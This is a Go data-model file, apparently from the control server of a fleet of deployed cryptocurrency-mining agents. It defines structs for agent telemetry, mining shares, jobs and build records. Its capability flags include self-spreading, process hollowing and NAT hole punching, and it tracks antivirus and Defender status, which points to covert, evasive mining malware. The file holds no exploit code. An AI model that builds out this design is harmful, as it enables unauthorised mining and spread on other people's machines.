Use hostname-first agent names so the same forged binary on many machines stays distinct at scale. Add WebSocket RTT latency on the roster and Crucible, fleet delete and uninstall flows, live alert config reload, and non-blocking pool setup. Fix Crucible phantom agents after delete, posture scan targeting, and USB portability (config data_dir, LAUNCH sync).
154 lines
5.8 KiB
Go
154 lines
5.8 KiB
Go
package models
|
|
|
|
import "time"
|
|
|
|
type Agent struct {
|
|
ID string `json:"id"`
|
|
Name string `json:"name"`
|
|
Wallet string `json:"wallet"`
|
|
IP string `json:"ip"`
|
|
Version string `json:"version"`
|
|
Status string `json:"status"` // online, offline, error
|
|
CPUCores int `json:"cpu_cores"`
|
|
MemoryGB int `json:"memory_gb"`
|
|
LastSeen time.Time `json:"last_seen"`
|
|
CreatedAt time.Time `json:"created_at"`
|
|
|
|
// Runtime stats (updated via heartbeat)
|
|
Hashrate15s float64 `json:"hashrate_15s"`
|
|
Hashrate1m float64 `json:"hashrate_1m"`
|
|
Hashrate15m float64 `json:"hashrate_15m"`
|
|
SharesTotal int `json:"shares_total"`
|
|
SharesGood int `json:"shares_good"`
|
|
SharesBad int `json:"shares_bad"`
|
|
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
|
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
|
UptimeSeconds int `json:"uptime_seconds"`
|
|
|
|
Notes string `json:"notes"`
|
|
Tags []string `json:"tags"`
|
|
|
|
Platform string `json:"platform,omitempty"`
|
|
Arch string `json:"arch,omitempty"`
|
|
OSVersion string `json:"os_version,omitempty"`
|
|
Hostname string `json:"hostname,omitempty"`
|
|
|
|
// Live connection quality — not persisted, set by WSHub each stats cycle.
|
|
LatencyMs *int `json:"latency_ms,omitempty"`
|
|
|
|
Capabilities *AgentCapabilities `json:"capabilities,omitempty"`
|
|
|
|
// Listen ports count (full list via listen_ports command)
|
|
ListenPortCount *int `json:"listen_port_count,omitempty"`
|
|
|
|
// DNS config — T1016 System Network Configuration Discovery
|
|
DNSServers []string `json:"dns_servers,omitempty"`
|
|
DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
|
|
DNSDrifted bool `json:"dns_drifted,omitempty"`
|
|
|
|
// Resource pressure — mining-specific runtime telemetry
|
|
CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"`
|
|
CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"`
|
|
CPUThrottle *bool `json:"cpu_throttle,omitempty"`
|
|
CPUTempC *int `json:"cpu_temp_c,omitempty"`
|
|
DiskFreeGB *float64 `json:"disk_free_gb,omitempty"`
|
|
DiskTotalGB *float64 `json:"disk_total_gb,omitempty"`
|
|
DiskFreePct *int `json:"disk_free_pct,omitempty"`
|
|
GPUTempC *int `json:"gpu_temp_c,omitempty"`
|
|
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
|
|
|
|
// Crucible — SSH status probed by the agent every ~60s
|
|
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
|
|
|
// Defense posture + patch exposure — ATT&CK T1685/T1686.003
|
|
PostureScore int `json:"posture_score,omitempty"`
|
|
DefenderEnabled *bool `json:"defender_enabled,omitempty"`
|
|
DefenderRTP *bool `json:"defender_rtp,omitempty"`
|
|
AVProducts []string `json:"av_products,omitempty"`
|
|
FirewallDomain *bool `json:"firewall_domain,omitempty"`
|
|
FirewallPrivate *bool `json:"firewall_private,omitempty"`
|
|
FirewallPublic *bool `json:"firewall_public,omitempty"`
|
|
LastPatchDays *int `json:"last_patch_days,omitempty"`
|
|
LastPatch *string `json:"last_patch,omitempty"`
|
|
PendingUpdates *int `json:"pending_updates,omitempty"`
|
|
RebootPending *bool `json:"reboot_pending,omitempty"`
|
|
AgentElevated *bool `json:"agent_elevated,omitempty"`
|
|
|
|
// T1007 System Service Discovery — fixed allowlist only
|
|
Services []AgentService `json:"services,omitempty"`
|
|
}
|
|
|
|
// AgentService mirrors the ServiceStatus reported by the agent.
|
|
type AgentService struct {
|
|
Name string `json:"name"`
|
|
DisplayName string `json:"display_name,omitempty"`
|
|
Status string `json:"status"`
|
|
StartType string `json:"start_type"`
|
|
}
|
|
|
|
// AgentCapabilities reports forge-time features available for remote command.
|
|
type AgentCapabilities struct {
|
|
HolePunch bool `json:"hole_punch"`
|
|
RemoteAggressive bool `json:"remote_aggressive"`
|
|
MeshP2P bool `json:"mesh_p2p"`
|
|
AutoSpread bool `json:"auto_spread"`
|
|
ProcessHollowing bool `json:"process_hollowing"`
|
|
AIEnabled bool `json:"ai_enabled"`
|
|
}
|
|
|
|
type Share struct {
|
|
ID int64 `json:"id"`
|
|
AgentID string `json:"agent_id"`
|
|
JobID string `json:"job_id"`
|
|
Difficulty int64 `json:"difficulty"`
|
|
Accepted bool `json:"accepted"`
|
|
Hash string `json:"hash"`
|
|
Nonce string `json:"nonce"`
|
|
Error string `json:"error,omitempty"`
|
|
Timestamp time.Time `json:"timestamp"`
|
|
}
|
|
|
|
type HashrateSample struct {
|
|
ID int64 `json:"id"`
|
|
AgentID string `json:"agent_id"`
|
|
Hashrate float64 `json:"hashrate"`
|
|
Timestamp time.Time `json:"timestamp"`
|
|
}
|
|
|
|
type Job struct {
|
|
ID string `json:"id"`
|
|
Height int64 `json:"height"`
|
|
Difficulty int64 `json:"difficulty"`
|
|
BlockTemplate string `json:"block_template"`
|
|
SeedHash string `json:"seed_hash"`
|
|
Target string `json:"target"`
|
|
CreatedAt time.Time `json:"created_at"`
|
|
}
|
|
|
|
type BuildExtraFile struct {
|
|
FileName string `json:"file_name"`
|
|
FilePath string `json:"file_path,omitempty"`
|
|
}
|
|
|
|
type BuildRecord struct {
|
|
ID string `json:"id"`
|
|
WorkerName string `json:"worker_name"`
|
|
ServerURL string `json:"server_url"`
|
|
Wallet string `json:"wallet"`
|
|
Threads int `json:"threads"`
|
|
FileSize int64 `json:"file_size"`
|
|
BundleSize int64 `json:"bundle_size"`
|
|
FilePath string `json:"file_path"`
|
|
FileName string `json:"file_name"` // base filename for display
|
|
DownloadURL string `json:"download_url"` // relative URL; client prepends server origin
|
|
ExtraFiles []BuildExtraFile `json:"extra_files,omitempty"`
|
|
Platform string `json:"platform"` // "windows", "linux", "darwin", "universal"
|
|
CreatedAt time.Time `json:"created_at"`
|
|
Pinned bool `json:"pinned"` // true = this build is served by /get and /install.*
|
|
// Pool settings
|
|
PoolHost string `json:"pool_host"`
|
|
PoolPort int `json:"pool_port"`
|
|
PoolTLS bool `json:"pool_tls"`
|
|
PoolPass string `json:"pool_pass"`
|
|
}
|